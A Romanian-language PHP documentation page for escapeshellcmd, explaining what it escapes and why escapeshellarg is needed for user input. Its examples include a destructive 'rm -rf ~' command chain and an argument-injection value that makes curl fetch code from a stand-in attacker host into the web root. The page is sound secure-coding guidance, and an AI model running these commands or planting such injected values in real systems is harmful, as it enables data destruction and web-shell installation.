Ce face escapeshellcmd
escapeshellcmd pune \ în fața caracterelor cu sens special în shell: #&;`|*?~<>^()[]{}$\, liniile noi și ghilimelele fără pereche. Rezultatul rulează o singură comandă, fără ; sau | care să lege altele.
Nu protejează spațiile, deci cine controlează textul poate adăuga argumente și opțiuni noi. Pentru valorile venite de la utilizator, folosește escapeshellarg pe fiecare argument.
Parametri
| Parametru | Descriere |
|---|---|
$command |
Comanda de protejat. |
Ce returnează
Comanda cu caracterele speciale protejate.
Exemple
Exemplul 1: Caracterele speciale neutralizate
<?php
echo escapeshellcmd("ls *.txt; rm -rf ~ && echo gata | mail ana@exemplu.ro") . "\n";
echo escapeshellcmd("echo 'Ana are mere'") . "\n";
echo escapeshellcmd("echo \"Ana's\"");
Rezultat
ls \*.txt\; rm -rf \~ \&\& echo gata \| mail ana@exemplu.ro
echo 'Ana are mere'
echo "Ana\'s"
Exemplul 2: De ce nu ajunge pentru argumente
Utilizatorul a dat o „adresă” care conține o opțiune nouă. Nu are caractere speciale, așa că rămâne neschimbată, iar curl ar scrie un fișier oriunde pe server. Cu escapeshellarg, tot textul devine un singur argument.
<?php
$adresa = "--output /var/www/spart.php http://atacator.exemplu/cod";
echo escapeshellcmd("curl $adresa") . "\n";
echo "curl " . escapeshellarg($adresa);
Rezultat
curl --output /var/www/spart.php http://atacator.exemplu/cod
curl '--output /var/www/spart.php http://atacator.exemplu/cod'
Greșeli frecvente
- Folosești
escapeshellcmdca protecție pentru valorile de la utilizator. Spațiile și opțiunile cu--trec. Foloseșteescapeshellargpe fiecare valoare. - Aplici ambele funcții pe aceeași valoare. Caracterele sunt protejate de două ori și argumentul ajunge greșit la comandă.
Comenzi înrudite
escapeshellarg: Pune un text între ghilimele sigure, ca să poată fi folosit ca argument într-o comandă de shell.exec: Rulează o comandă a sistemului de operare și returnează ultima linie afișată de ea.system: Rulează o comandă de sistem, afișează imediat tot ce scrie ea și returnează ultima linie.